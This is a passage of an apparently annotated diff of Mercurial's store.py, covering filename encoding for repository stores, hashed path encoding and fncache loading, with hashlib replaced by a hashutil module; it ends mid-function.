1 # store.py - repository store handling for Mercurial
1 # store.py - repository store handling for Mercurial
2 #
2 #
3 # Copyright 2008 Matt Mackall <mpm@selenic.com>
3 # Copyright 2008 Matt Mackall <mpm@selenic.com>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 from __future__ import absolute_import
8 from __future__ import absolute_import
9
9
10 import errno
10 import errno
11 import functools
11 import functools
12 import hashlib
13 import os
12 import os
14 import stat
13 import stat
15
14
16 from .i18n import _
15 from .i18n import _
17 from .pycompat import getattr
16 from .pycompat import getattr
18 from . import (
17 from . import (
19 changelog,
18 changelog,
20 error,
19 error,
21 manifest,
20 manifest,
22 node,
21 node,
23 policy,
22 policy,
24 pycompat,
23 pycompat,
25 util,
24 util,
26 vfs as vfsmod,
25 vfs as vfsmod,
27 )
26 )
27 from .utils import hashutil
28
28
29 parsers = policy.importmod('parsers')
29 parsers = policy.importmod('parsers')
30 # how much bytes should be read from fncache in one read
30 # how much bytes should be read from fncache in one read
31 # It is done to prevent loading large fncache files into memory
31 # It is done to prevent loading large fncache files into memory
32 fncache_chunksize = 10 ** 6
32 fncache_chunksize = 10 ** 6
33
33
34
34
35 def _matchtrackedpath(path, matcher):
35 def _matchtrackedpath(path, matcher):
36 """parses a fncache entry and returns whether the entry is tracking a path
36 """parses a fncache entry and returns whether the entry is tracking a path
37 matched by matcher or not.
37 matched by matcher or not.
38
38
39 If matcher is None, returns True"""
39 If matcher is None, returns True"""
40
40
41 if matcher is None:
41 if matcher is None:
42 return True
42 return True
43 path = decodedir(path)
43 path = decodedir(path)
44 if path.startswith(b'data/'):
44 if path.startswith(b'data/'):
45 return matcher(path[len(b'data/') : -len(b'.i')])
45 return matcher(path[len(b'data/') : -len(b'.i')])
46 elif path.startswith(b'meta/'):
46 elif path.startswith(b'meta/'):
47 return matcher.visitdir(path[len(b'meta/') : -len(b'/00manifest.i')])
47 return matcher.visitdir(path[len(b'meta/') : -len(b'/00manifest.i')])
48
48
49 raise error.ProgrammingError(b"cannot decode path %s" % path)
49 raise error.ProgrammingError(b"cannot decode path %s" % path)
50
50
51
51
52 # This avoids a collision between a file named foo and a dir named
52 # This avoids a collision between a file named foo and a dir named
53 # foo.i or foo.d
53 # foo.i or foo.d
54 def _encodedir(path):
54 def _encodedir(path):
55 '''
55 '''
56 >>> _encodedir(b'data/foo.i')
56 >>> _encodedir(b'data/foo.i')
57 'data/foo.i'
57 'data/foo.i'
58 >>> _encodedir(b'data/foo.i/bla.i')
58 >>> _encodedir(b'data/foo.i/bla.i')
59 'data/foo.i.hg/bla.i'
59 'data/foo.i.hg/bla.i'
60 >>> _encodedir(b'data/foo.i.hg/bla.i')
60 >>> _encodedir(b'data/foo.i.hg/bla.i')
61 'data/foo.i.hg.hg/bla.i'
61 'data/foo.i.hg.hg/bla.i'
62 >>> _encodedir(b'data/foo.i\\ndata/foo.i/bla.i\\ndata/foo.i.hg/bla.i\\n')
62 >>> _encodedir(b'data/foo.i\\ndata/foo.i/bla.i\\ndata/foo.i.hg/bla.i\\n')
63 'data/foo.i\\ndata/foo.i.hg/bla.i\\ndata/foo.i.hg.hg/bla.i\\n'
63 'data/foo.i\\ndata/foo.i.hg/bla.i\\ndata/foo.i.hg.hg/bla.i\\n'
64 '''
64 '''
65 return (
65 return (
66 path.replace(b".hg/", b".hg.hg/")
66 path.replace(b".hg/", b".hg.hg/")
67 .replace(b".i/", b".i.hg/")
67 .replace(b".i/", b".i.hg/")
68 .replace(b".d/", b".d.hg/")
68 .replace(b".d/", b".d.hg/")
69 )
69 )
70
70
71
71
72 encodedir = getattr(parsers, 'encodedir', _encodedir)
72 encodedir = getattr(parsers, 'encodedir', _encodedir)
73
73
74
74
75 def decodedir(path):
75 def decodedir(path):
76 '''
76 '''
77 >>> decodedir(b'data/foo.i')
77 >>> decodedir(b'data/foo.i')
78 'data/foo.i'
78 'data/foo.i'
79 >>> decodedir(b'data/foo.i.hg/bla.i')
79 >>> decodedir(b'data/foo.i.hg/bla.i')
80 'data/foo.i/bla.i'
80 'data/foo.i/bla.i'
81 >>> decodedir(b'data/foo.i.hg.hg/bla.i')
81 >>> decodedir(b'data/foo.i.hg.hg/bla.i')
82 'data/foo.i.hg/bla.i'
82 'data/foo.i.hg/bla.i'
83 '''
83 '''
84 if b".hg/" not in path:
84 if b".hg/" not in path:
85 return path
85 return path
86 return (
86 return (
87 path.replace(b".d.hg/", b".d/")
87 path.replace(b".d.hg/", b".d/")
88 .replace(b".i.hg/", b".i/")
88 .replace(b".i.hg/", b".i/")
89 .replace(b".hg.hg/", b".hg/")
89 .replace(b".hg.hg/", b".hg/")
90 )
90 )
91
91
92
92
93 def _reserved():
93 def _reserved():
94 ''' characters that are problematic for filesystems
94 ''' characters that are problematic for filesystems
95
95
96 * ascii escapes (0..31)
96 * ascii escapes (0..31)
97 * ascii hi (126..255)
97 * ascii hi (126..255)
98 * windows specials
98 * windows specials
99
99
100 these characters will be escaped by encodefunctions
100 these characters will be escaped by encodefunctions
101 '''
101 '''
102 winreserved = [ord(x) for x in u'\\:*?"<>|']
102 winreserved = [ord(x) for x in u'\\:*?"<>|']
103 for x in range(32):
103 for x in range(32):
104 yield x
104 yield x
105 for x in range(126, 256):
105 for x in range(126, 256):
106 yield x
106 yield x
107 for x in winreserved:
107 for x in winreserved:
108 yield x
108 yield x
109
109
110
110
111 def _buildencodefun():
111 def _buildencodefun():
112 '''
112 '''
113 >>> enc, dec = _buildencodefun()
113 >>> enc, dec = _buildencodefun()
114
114
115 >>> enc(b'nothing/special.txt')
115 >>> enc(b'nothing/special.txt')
116 'nothing/special.txt'
116 'nothing/special.txt'
117 >>> dec(b'nothing/special.txt')
117 >>> dec(b'nothing/special.txt')
118 'nothing/special.txt'
118 'nothing/special.txt'
119
119
120 >>> enc(b'HELLO')
120 >>> enc(b'HELLO')
121 '_h_e_l_l_o'
121 '_h_e_l_l_o'
122 >>> dec(b'_h_e_l_l_o')
122 >>> dec(b'_h_e_l_l_o')
123 'HELLO'
123 'HELLO'
124
124
125 >>> enc(b'hello:world?')
125 >>> enc(b'hello:world?')
126 'hello~3aworld~3f'
126 'hello~3aworld~3f'
127 >>> dec(b'hello~3aworld~3f')
127 >>> dec(b'hello~3aworld~3f')
128 'hello:world?'
128 'hello:world?'
129
129
130 >>> enc(b'the\\x07quick\\xADshot')
130 >>> enc(b'the\\x07quick\\xADshot')
131 'the~07quick~adshot'
131 'the~07quick~adshot'
132 >>> dec(b'the~07quick~adshot')
132 >>> dec(b'the~07quick~adshot')
133 'the\\x07quick\\xadshot'
133 'the\\x07quick\\xadshot'
134 '''
134 '''
135 e = b'_'
135 e = b'_'
136 xchr = pycompat.bytechr
136 xchr = pycompat.bytechr
137 asciistr = list(map(xchr, range(127)))
137 asciistr = list(map(xchr, range(127)))
138 capitals = list(range(ord(b"A"), ord(b"Z") + 1))
138 capitals = list(range(ord(b"A"), ord(b"Z") + 1))
139
139
140 cmap = dict((x, x) for x in asciistr)
140 cmap = dict((x, x) for x in asciistr)
141 for x in _reserved():
141 for x in _reserved():
142 cmap[xchr(x)] = b"~%02x" % x
142 cmap[xchr(x)] = b"~%02x" % x
143 for x in capitals + [ord(e)]:
143 for x in capitals + [ord(e)]:
144 cmap[xchr(x)] = e + xchr(x).lower()
144 cmap[xchr(x)] = e + xchr(x).lower()
145
145
146 dmap = {}
146 dmap = {}
147 for k, v in pycompat.iteritems(cmap):
147 for k, v in pycompat.iteritems(cmap):
148 dmap[v] = k
148 dmap[v] = k
149
149
150 def decode(s):
150 def decode(s):
151 i = 0
151 i = 0
152 while i < len(s):
152 while i < len(s):
153 for l in pycompat.xrange(1, 4):
153 for l in pycompat.xrange(1, 4):
154 try:
154 try:
155 yield dmap[s[i : i + l]]
155 yield dmap[s[i : i + l]]
156 i += l
156 i += l
157 break
157 break
158 except KeyError:
158 except KeyError:
159 pass
159 pass
160 else:
160 else:
161 raise KeyError
161 raise KeyError
162
162
163 return (
163 return (
164 lambda s: b''.join(
164 lambda s: b''.join(
165 [cmap[s[c : c + 1]] for c in pycompat.xrange(len(s))]
165 [cmap[s[c : c + 1]] for c in pycompat.xrange(len(s))]
166 ),
166 ),
167 lambda s: b''.join(list(decode(s))),
167 lambda s: b''.join(list(decode(s))),
168 )
168 )
169
169
170
170
171 _encodefname, _decodefname = _buildencodefun()
171 _encodefname, _decodefname = _buildencodefun()
172
172
173
173
174 def encodefilename(s):
174 def encodefilename(s):
175 '''
175 '''
176 >>> encodefilename(b'foo.i/bar.d/bla.hg/hi:world?/HELLO')
176 >>> encodefilename(b'foo.i/bar.d/bla.hg/hi:world?/HELLO')
177 'foo.i.hg/bar.d.hg/bla.hg.hg/hi~3aworld~3f/_h_e_l_l_o'
177 'foo.i.hg/bar.d.hg/bla.hg.hg/hi~3aworld~3f/_h_e_l_l_o'
178 '''
178 '''
179 return _encodefname(encodedir(s))
179 return _encodefname(encodedir(s))
180
180
181
181
182 def decodefilename(s):
182 def decodefilename(s):
183 '''
183 '''
184 >>> decodefilename(b'foo.i.hg/bar.d.hg/bla.hg.hg/hi~3aworld~3f/_h_e_l_l_o')
184 >>> decodefilename(b'foo.i.hg/bar.d.hg/bla.hg.hg/hi~3aworld~3f/_h_e_l_l_o')
185 'foo.i/bar.d/bla.hg/hi:world?/HELLO'
185 'foo.i/bar.d/bla.hg/hi:world?/HELLO'
186 '''
186 '''
187 return decodedir(_decodefname(s))
187 return decodedir(_decodefname(s))
188
188
189
189
190 def _buildlowerencodefun():
190 def _buildlowerencodefun():
191 '''
191 '''
192 >>> f = _buildlowerencodefun()
192 >>> f = _buildlowerencodefun()
193 >>> f(b'nothing/special.txt')
193 >>> f(b'nothing/special.txt')
194 'nothing/special.txt'
194 'nothing/special.txt'
195 >>> f(b'HELLO')
195 >>> f(b'HELLO')
196 'hello'
196 'hello'
197 >>> f(b'hello:world?')
197 >>> f(b'hello:world?')
198 'hello~3aworld~3f'
198 'hello~3aworld~3f'
199 >>> f(b'the\\x07quick\\xADshot')
199 >>> f(b'the\\x07quick\\xADshot')
200 'the~07quick~adshot'
200 'the~07quick~adshot'
201 '''
201 '''
202 xchr = pycompat.bytechr
202 xchr = pycompat.bytechr
203 cmap = dict([(xchr(x), xchr(x)) for x in pycompat.xrange(127)])
203 cmap = dict([(xchr(x), xchr(x)) for x in pycompat.xrange(127)])
204 for x in _reserved():
204 for x in _reserved():
205 cmap[xchr(x)] = b"~%02x" % x
205 cmap[xchr(x)] = b"~%02x" % x
206 for x in range(ord(b"A"), ord(b"Z") + 1):
206 for x in range(ord(b"A"), ord(b"Z") + 1):
207 cmap[xchr(x)] = xchr(x).lower()
207 cmap[xchr(x)] = xchr(x).lower()
208
208
209 def lowerencode(s):
209 def lowerencode(s):
210 return b"".join([cmap[c] for c in pycompat.iterbytestr(s)])
210 return b"".join([cmap[c] for c in pycompat.iterbytestr(s)])
211
211
212 return lowerencode
212 return lowerencode
213
213
214
214
215 lowerencode = getattr(parsers, 'lowerencode', None) or _buildlowerencodefun()
215 lowerencode = getattr(parsers, 'lowerencode', None) or _buildlowerencodefun()
216
216
217 # Windows reserved names: con, prn, aux, nul, com1..com9, lpt1..lpt9
217 # Windows reserved names: con, prn, aux, nul, com1..com9, lpt1..lpt9
218 _winres3 = (b'aux', b'con', b'prn', b'nul') # length 3
218 _winres3 = (b'aux', b'con', b'prn', b'nul') # length 3
219 _winres4 = (b'com', b'lpt') # length 4 (with trailing 1..9)
219 _winres4 = (b'com', b'lpt') # length 4 (with trailing 1..9)
220
220
221
221
222 def _auxencode(path, dotencode):
222 def _auxencode(path, dotencode):
223 '''
223 '''
224 Encodes filenames containing names reserved by Windows or which end in
224 Encodes filenames containing names reserved by Windows or which end in
225 period or space. Does not touch other single reserved characters c.
225 period or space. Does not touch other single reserved characters c.
226 Specifically, c in '\\:*?"<>|' or ord(c) <= 31 are *not* encoded here.
226 Specifically, c in '\\:*?"<>|' or ord(c) <= 31 are *not* encoded here.
227 Additionally encodes space or period at the beginning, if dotencode is
227 Additionally encodes space or period at the beginning, if dotencode is
228 True. Parameter path is assumed to be all lowercase.
228 True. Parameter path is assumed to be all lowercase.
229 A segment only needs encoding if a reserved name appears as a
229 A segment only needs encoding if a reserved name appears as a
230 basename (e.g. "aux", "aux.foo"). A directory or file named "foo.aux"
230 basename (e.g. "aux", "aux.foo"). A directory or file named "foo.aux"
231 doesn't need encoding.
231 doesn't need encoding.
232
232
233 >>> s = b'.foo/aux.txt/txt.aux/con/prn/nul/foo.'
233 >>> s = b'.foo/aux.txt/txt.aux/con/prn/nul/foo.'
234 >>> _auxencode(s.split(b'/'), True)
234 >>> _auxencode(s.split(b'/'), True)
235 ['~2efoo', 'au~78.txt', 'txt.aux', 'co~6e', 'pr~6e', 'nu~6c', 'foo~2e']
235 ['~2efoo', 'au~78.txt', 'txt.aux', 'co~6e', 'pr~6e', 'nu~6c', 'foo~2e']
236 >>> s = b'.com1com2/lpt9.lpt4.lpt1/conprn/com0/lpt0/foo.'
236 >>> s = b'.com1com2/lpt9.lpt4.lpt1/conprn/com0/lpt0/foo.'
237 >>> _auxencode(s.split(b'/'), False)
237 >>> _auxencode(s.split(b'/'), False)
238 ['.com1com2', 'lp~749.lpt4.lpt1', 'conprn', 'com0', 'lpt0', 'foo~2e']
238 ['.com1com2', 'lp~749.lpt4.lpt1', 'conprn', 'com0', 'lpt0', 'foo~2e']
239 >>> _auxencode([b'foo. '], True)
239 >>> _auxencode([b'foo. '], True)
240 ['foo.~20']
240 ['foo.~20']
241 >>> _auxencode([b' .foo'], True)
241 >>> _auxencode([b' .foo'], True)
242 ['~20.foo']
242 ['~20.foo']
243 '''
243 '''
244 for i, n in enumerate(path):
244 for i, n in enumerate(path):
245 if not n:
245 if not n:
246 continue
246 continue
247 if dotencode and n[0] in b'. ':
247 if dotencode and n[0] in b'. ':
248 n = b"~%02x" % ord(n[0:1]) + n[1:]
248 n = b"~%02x" % ord(n[0:1]) + n[1:]
249 path[i] = n
249 path[i] = n
250 else:
250 else:
251 l = n.find(b'.')
251 l = n.find(b'.')
252 if l == -1:
252 if l == -1:
253 l = len(n)
253 l = len(n)
254 if (l == 3 and n[:3] in _winres3) or (
254 if (l == 3 and n[:3] in _winres3) or (
255 l == 4
255 l == 4
256 and n[3:4] <= b'9'
256 and n[3:4] <= b'9'
257 and n[3:4] >= b'1'
257 and n[3:4] >= b'1'
258 and n[:3] in _winres4
258 and n[:3] in _winres4
259 ):
259 ):
260 # encode third letter ('aux' -> 'au~78')
260 # encode third letter ('aux' -> 'au~78')
261 ec = b"~%02x" % ord(n[2:3])
261 ec = b"~%02x" % ord(n[2:3])
262 n = n[0:2] + ec + n[3:]
262 n = n[0:2] + ec + n[3:]
263 path[i] = n
263 path[i] = n
264 if n[-1] in b'. ':
264 if n[-1] in b'. ':
265 # encode last period or space ('foo...' -> 'foo..~2e')
265 # encode last period or space ('foo...' -> 'foo..~2e')
266 path[i] = n[:-1] + b"~%02x" % ord(n[-1:])
266 path[i] = n[:-1] + b"~%02x" % ord(n[-1:])
267 return path
267 return path
268
268
269
269
270 _maxstorepathlen = 120
270 _maxstorepathlen = 120
271 _dirprefixlen = 8
271 _dirprefixlen = 8
272 _maxshortdirslen = 8 * (_dirprefixlen + 1) - 4
272 _maxshortdirslen = 8 * (_dirprefixlen + 1) - 4
273
273
274
274
275 def _hashencode(path, dotencode):
275 def _hashencode(path, dotencode):
276 digest = node.hex(hashlib.sha1(path).digest())
276 digest = node.hex(hashutil.sha1(path).digest())
277 le = lowerencode(path[5:]).split(b'/') # skips prefix 'data/' or 'meta/'
277 le = lowerencode(path[5:]).split(b'/') # skips prefix 'data/' or 'meta/'
278 parts = _auxencode(le, dotencode)
278 parts = _auxencode(le, dotencode)
279 basename = parts[-1]
279 basename = parts[-1]
280 _root, ext = os.path.splitext(basename)
280 _root, ext = os.path.splitext(basename)
281 sdirs = []
281 sdirs = []
282 sdirslen = 0
282 sdirslen = 0
283 for p in parts[:-1]:
283 for p in parts[:-1]:
284 d = p[:_dirprefixlen]
284 d = p[:_dirprefixlen]
285 if d[-1] in b'. ':
285 if d[-1] in b'. ':
286 # Windows can't access dirs ending in period or space
286 # Windows can't access dirs ending in period or space
287 d = d[:-1] + b'_'
287 d = d[:-1] + b'_'
288 if sdirslen == 0:
288 if sdirslen == 0:
289 t = len(d)
289 t = len(d)
290 else:
290 else:
291 t = sdirslen + 1 + len(d)
291 t = sdirslen + 1 + len(d)
292 if t > _maxshortdirslen:
292 if t > _maxshortdirslen:
293 break
293 break
294 sdirs.append(d)
294 sdirs.append(d)
295 sdirslen = t
295 sdirslen = t
296 dirs = b'/'.join(sdirs)
296 dirs = b'/'.join(sdirs)
297 if len(dirs) > 0:
297 if len(dirs) > 0:
298 dirs += b'/'
298 dirs += b'/'
299 res = b'dh/' + dirs + digest + ext
299 res = b'dh/' + dirs + digest + ext
300 spaceleft = _maxstorepathlen - len(res)
300 spaceleft = _maxstorepathlen - len(res)
301 if spaceleft > 0:
301 if spaceleft > 0:
302 filler = basename[:spaceleft]
302 filler = basename[:spaceleft]
303 res = b'dh/' + dirs + filler + digest + ext
303 res = b'dh/' + dirs + filler + digest + ext
304 return res
304 return res
305
305
306
306
307 def _hybridencode(path, dotencode):
307 def _hybridencode(path, dotencode):
308 '''encodes path with a length limit
308 '''encodes path with a length limit
309
309
310 Encodes all paths that begin with 'data/', according to the following.
310 Encodes all paths that begin with 'data/', according to the following.
311
311
312 Default encoding (reversible):
312 Default encoding (reversible):
313
313
314 Encodes all uppercase letters 'X' as '_x'. All reserved or illegal
314 Encodes all uppercase letters 'X' as '_x'. All reserved or illegal
315 characters are encoded as '~xx', where xx is the two digit hex code
315 characters are encoded as '~xx', where xx is the two digit hex code
316 of the character (see encodefilename).
316 of the character (see encodefilename).
317 Relevant path components consisting of Windows reserved filenames are
317 Relevant path components consisting of Windows reserved filenames are
318 masked by encoding the third character ('aux' -> 'au~78', see _auxencode).
318 masked by encoding the third character ('aux' -> 'au~78', see _auxencode).
319
319
320 Hashed encoding (not reversible):
320 Hashed encoding (not reversible):
321
321
322 If the default-encoded path is longer than _maxstorepathlen, a
322 If the default-encoded path is longer than _maxstorepathlen, a
323 non-reversible hybrid hashing of the path is done instead.
323 non-reversible hybrid hashing of the path is done instead.
324 This encoding uses up to _dirprefixlen characters of all directory
324 This encoding uses up to _dirprefixlen characters of all directory
325 levels of the lowerencoded path, but not more levels than can fit into
325 levels of the lowerencoded path, but not more levels than can fit into
326 _maxshortdirslen.
326 _maxshortdirslen.
327 Then follows the filler followed by the sha digest of the full path.
327 Then follows the filler followed by the sha digest of the full path.
328 The filler is the beginning of the basename of the lowerencoded path
328 The filler is the beginning of the basename of the lowerencoded path
329 (the basename is everything after the last path separator). The filler
329 (the basename is everything after the last path separator). The filler
330 is as long as possible, filling in characters from the basename until
330 is as long as possible, filling in characters from the basename until
331 the encoded path has _maxstorepathlen characters (or all chars of the
331 the encoded path has _maxstorepathlen characters (or all chars of the
332 basename have been taken).
332 basename have been taken).
333 The extension (e.g. '.i' or '.d') is preserved.
333 The extension (e.g. '.i' or '.d') is preserved.
334
334
335 The string 'data/' at the beginning is replaced with 'dh/', if the hashed
335 The string 'data/' at the beginning is replaced with 'dh/', if the hashed
336 encoding was used.
336 encoding was used.
337 '''
337 '''
338 path = encodedir(path)
338 path = encodedir(path)
339 ef = _encodefname(path).split(b'/')
339 ef = _encodefname(path).split(b'/')
340 res = b'/'.join(_auxencode(ef, dotencode))
340 res = b'/'.join(_auxencode(ef, dotencode))
341 if len(res) > _maxstorepathlen:
341 if len(res) > _maxstorepathlen:
342 res = _hashencode(path, dotencode)
342 res = _hashencode(path, dotencode)
343 return res
343 return res
344
344
345
345
346 def _pathencode(path):
346 def _pathencode(path):
347 de = encodedir(path)
347 de = encodedir(path)
348 if len(path) > _maxstorepathlen:
348 if len(path) > _maxstorepathlen:
349 return _hashencode(de, True)
349 return _hashencode(de, True)
350 ef = _encodefname(de).split(b'/')
350 ef = _encodefname(de).split(b'/')
351 res = b'/'.join(_auxencode(ef, True))
351 res = b'/'.join(_auxencode(ef, True))
352 if len(res) > _maxstorepathlen:
352 if len(res) > _maxstorepathlen:
353 return _hashencode(de, True)
353 return _hashencode(de, True)
354 return res
354 return res
355
355
356
356
357 _pathencode = getattr(parsers, 'pathencode', _pathencode)
357 _pathencode = getattr(parsers, 'pathencode', _pathencode)
358
358
359
359
360 def _plainhybridencode(f):
360 def _plainhybridencode(f):
361 return _hybridencode(f, False)
361 return _hybridencode(f, False)
362
362
363
363
364 def _calcmode(vfs):
364 def _calcmode(vfs):
365 try:
365 try:
366 # files in .hg/ will be created using this mode
366 # files in .hg/ will be created using this mode
367 mode = vfs.stat().st_mode
367 mode = vfs.stat().st_mode
368 # avoid some useless chmods
368 # avoid some useless chmods
369 if (0o777 & ~util.umask) == (0o777 & mode):
369 if (0o777 & ~util.umask) == (0o777 & mode):
370 mode = None
370 mode = None
371 except OSError:
371 except OSError:
372 mode = None
372 mode = None
373 return mode
373 return mode
374
374
375
375
376 _data = (
376 _data = (
377 b'bookmarks narrowspec data meta 00manifest.d 00manifest.i'
377 b'bookmarks narrowspec data meta 00manifest.d 00manifest.i'
378 b' 00changelog.d 00changelog.i phaseroots obsstore'
378 b' 00changelog.d 00changelog.i phaseroots obsstore'
379 )
379 )
380
380
381
381
382 def isrevlog(f, kind, st):
382 def isrevlog(f, kind, st):
383 return kind == stat.S_IFREG and f[-2:] in (b'.i', b'.d')
383 return kind == stat.S_IFREG and f[-2:] in (b'.i', b'.d')
384
384
385
385
386 class basicstore(object):
386 class basicstore(object):
387 '''base class for local repository stores'''
387 '''base class for local repository stores'''
388
388
389 def __init__(self, path, vfstype):
389 def __init__(self, path, vfstype):
390 vfs = vfstype(path)
390 vfs = vfstype(path)
391 self.path = vfs.base
391 self.path = vfs.base
392 self.createmode = _calcmode(vfs)
392 self.createmode = _calcmode(vfs)
393 vfs.createmode = self.createmode
393 vfs.createmode = self.createmode
394 self.rawvfs = vfs
394 self.rawvfs = vfs
395 self.vfs = vfsmod.filtervfs(vfs, encodedir)
395 self.vfs = vfsmod.filtervfs(vfs, encodedir)
396 self.opener = self.vfs
396 self.opener = self.vfs
397
397
398 def join(self, f):
398 def join(self, f):
399 return self.path + b'/' + encodedir(f)
399 return self.path + b'/' + encodedir(f)
400
400
401 def _walk(self, relpath, recurse, filefilter=isrevlog):
401 def _walk(self, relpath, recurse, filefilter=isrevlog):
402 '''yields (unencoded, encoded, size)'''
402 '''yields (unencoded, encoded, size)'''
403 path = self.path
403 path = self.path
404 if relpath:
404 if relpath:
405 path += b'/' + relpath
405 path += b'/' + relpath
406 striplen = len(self.path) + 1
406 striplen = len(self.path) + 1
407 l = []
407 l = []
408 if self.rawvfs.isdir(path):
408 if self.rawvfs.isdir(path):
409 visit = [path]
409 visit = [path]
410 readdir = self.rawvfs.readdir
410 readdir = self.rawvfs.readdir
411 while visit:
411 while visit:
412 p = visit.pop()
412 p = visit.pop()
413 for f, kind, st in readdir(p, stat=True):
413 for f, kind, st in readdir(p, stat=True):
414 fp = p + b'/' + f
414 fp = p + b'/' + f
415 if filefilter(f, kind, st):
415 if filefilter(f, kind, st):
416 n = util.pconvert(fp[striplen:])
416 n = util.pconvert(fp[striplen:])
417 l.append((decodedir(n), n, st.st_size))
417 l.append((decodedir(n), n, st.st_size))
418 elif kind == stat.S_IFDIR and recurse:
418 elif kind == stat.S_IFDIR and recurse:
419 visit.append(fp)
419 visit.append(fp)
420 l.sort()
420 l.sort()
421 return l
421 return l
422
422
423 def changelog(self, trypending):
423 def changelog(self, trypending):
424 return changelog.changelog(self.vfs, trypending=trypending)
424 return changelog.changelog(self.vfs, trypending=trypending)
425
425
426 def manifestlog(self, repo, storenarrowmatch):
426 def manifestlog(self, repo, storenarrowmatch):
427 rootstore = manifest.manifestrevlog(self.vfs)
427 rootstore = manifest.manifestrevlog(self.vfs)
428 return manifest.manifestlog(self.vfs, repo, rootstore, storenarrowmatch)
428 return manifest.manifestlog(self.vfs, repo, rootstore, storenarrowmatch)
429
429
430 def datafiles(self, matcher=None):
430 def datafiles(self, matcher=None):
431 return self._walk(b'data', True) + self._walk(b'meta', True)
431 return self._walk(b'data', True) + self._walk(b'meta', True)
432
432
433 def topfiles(self):
433 def topfiles(self):
434 # yield manifest before changelog
434 # yield manifest before changelog
435 return reversed(self._walk(b'', False))
435 return reversed(self._walk(b'', False))
436
436
437 def walk(self, matcher=None):
437 def walk(self, matcher=None):
438 '''yields (unencoded, encoded, size)
438 '''yields (unencoded, encoded, size)
439
439
440 if a matcher is passed, storage files of only those tracked paths
440 if a matcher is passed, storage files of only those tracked paths
441 are passed with matches the matcher
441 are passed with matches the matcher
442 '''
442 '''
443 # yield data files first
443 # yield data files first
444 for x in self.datafiles(matcher):
444 for x in self.datafiles(matcher):
445 yield x
445 yield x
446 for x in self.topfiles():
446 for x in self.topfiles():
447 yield x
447 yield x
448
448
449 def copylist(self):
449 def copylist(self):
450 return [b'requires'] + _data.split()
450 return [b'requires'] + _data.split()
451
451
452 def write(self, tr):
452 def write(self, tr):
453 pass
453 pass
454
454
455 def invalidatecaches(self):
455 def invalidatecaches(self):
456 pass
456 pass
457
457
458 def markremoved(self, fn):
458 def markremoved(self, fn):
459 pass
459 pass
460
460
461 def __contains__(self, path):
461 def __contains__(self, path):
462 '''Checks if the store contains path'''
462 '''Checks if the store contains path'''
463 path = b"/".join((b"data", path))
463 path = b"/".join((b"data", path))
464 # file?
464 # file?
465 if self.vfs.exists(path + b".i"):
465 if self.vfs.exists(path + b".i"):
466 return True
466 return True
467 # dir?
467 # dir?
468 if not path.endswith(b"/"):
468 if not path.endswith(b"/"):
469 path = path + b"/"
469 path = path + b"/"
470 return self.vfs.exists(path)
470 return self.vfs.exists(path)
471
471
472
472
473 class encodedstore(basicstore):
473 class encodedstore(basicstore):
474 def __init__(self, path, vfstype):
474 def __init__(self, path, vfstype):
475 vfs = vfstype(path + b'/store')
475 vfs = vfstype(path + b'/store')
476 self.path = vfs.base
476 self.path = vfs.base
477 self.createmode = _calcmode(vfs)
477 self.createmode = _calcmode(vfs)
478 vfs.createmode = self.createmode
478 vfs.createmode = self.createmode
479 self.rawvfs = vfs
479 self.rawvfs = vfs
480 self.vfs = vfsmod.filtervfs(vfs, encodefilename)
480 self.vfs = vfsmod.filtervfs(vfs, encodefilename)
481 self.opener = self.vfs
481 self.opener = self.vfs
482
482
483 def datafiles(self, matcher=None):
483 def datafiles(self, matcher=None):
484 for a, b, size in super(encodedstore, self).datafiles():
484 for a, b, size in super(encodedstore, self).datafiles():
485 try:
485 try:
486 a = decodefilename(a)
486 a = decodefilename(a)
487 except KeyError:
487 except KeyError:
488 a = None
488 a = None
489 if a is not None and not _matchtrackedpath(a, matcher):
489 if a is not None and not _matchtrackedpath(a, matcher):
490 continue
490 continue
491 yield a, b, size
491 yield a, b, size
492
492
493 def join(self, f):
493 def join(self, f):
494 return self.path + b'/' + encodefilename(f)
494 return self.path + b'/' + encodefilename(f)
495
495
496 def copylist(self):
496 def copylist(self):
497 return [b'requires', b'00changelog.i'] + [
497 return [b'requires', b'00changelog.i'] + [
498 b'store/' + f for f in _data.split()
498 b'store/' + f for f in _data.split()
499 ]
499 ]
500
500
501
501
502 class fncache(object):
502 class fncache(object):
503 # the filename used to be partially encoded
503 # the filename used to be partially encoded
504 # hence the encodedir/decodedir dance
504 # hence the encodedir/decodedir dance
505 def __init__(self, vfs):
505 def __init__(self, vfs):
506 self.vfs = vfs
506 self.vfs = vfs
507 self.entries = None
507 self.entries = None
508 self._dirty = False
508 self._dirty = False
509 # set of new additions to fncache
509 # set of new additions to fncache
510 self.addls = set()
510 self.addls = set()
511
511
512 def ensureloaded(self, warn=None):
512 def ensureloaded(self, warn=None):
513 '''read the fncache file if not already read.
513 '''read the fncache file if not already read.
514
514
515 If the file on disk is corrupted, raise. If warn is provided,
515 If the file on disk is corrupted, raise. If warn is provided,
516 warn and keep going instead.'''
516 warn and keep going instead.'''
517 if self.entries is None:
517 if self.entries is None:
518 self._load(warn)
518 self._load(warn)
519
519
520 def _load(self, warn=None):
520 def _load(self, warn=None):
521 '''fill the entries from the fncache file'''
521 '''fill the entries from the fncache file'''
522 self._dirty = False
522 self._dirty = False
523 try:
523 try:
524 fp = self.vfs(b'fncache', mode=b'rb')
524 fp = self.vfs(b'fncache', mode=b'rb')
525 except IOError:
525 except IOError:
526 # skip nonexistent file
526 # skip nonexistent file
527 self.entries = set()
527 self.entries = set()
528 return
528 return
529
529
530 self.entries = set()
530 self.entries = set()
531 chunk = b''
531 chunk = b''
532 for c in iter(functools.partial(fp.read, fncache_chunksize), b''):
532 for c in iter(functools.partial(fp.read, fncache_chunksize), b''):
533 chunk += c
533 chunk += c
534 try:
534 try:
535 p = chunk.rindex(b'\n')
535 p = chunk.rindex(b'\n')
536 self.entries.update(decodedir(chunk[: p + 1]).splitlines())
536 self.entries.update(decodedir(chunk[: p + 1]).splitlines())
537 chunk = chunk[p + 1 :]
537 chunk = chunk[p + 1 :]
538 except ValueError:
538 except ValueError:
539 # substring '\n' not found, maybe the entry is bigger than the
539 # substring '\n' not found, maybe the entry is bigger than the
540 # chunksize, so let's keep iterating
540 # chunksize, so let's keep iterating
541 pass
541 pass
542
542
543 if chunk:
543 if chunk:
544 msg = _(b"fncache does not ends with a newline")
544 msg = _(b"fncache does not ends with a newline")
545 if warn:
545 if warn:
546 warn(msg + b'\n')
546 warn(msg + b'\n')
547 else:
547 else:
548 raise error.Abort(
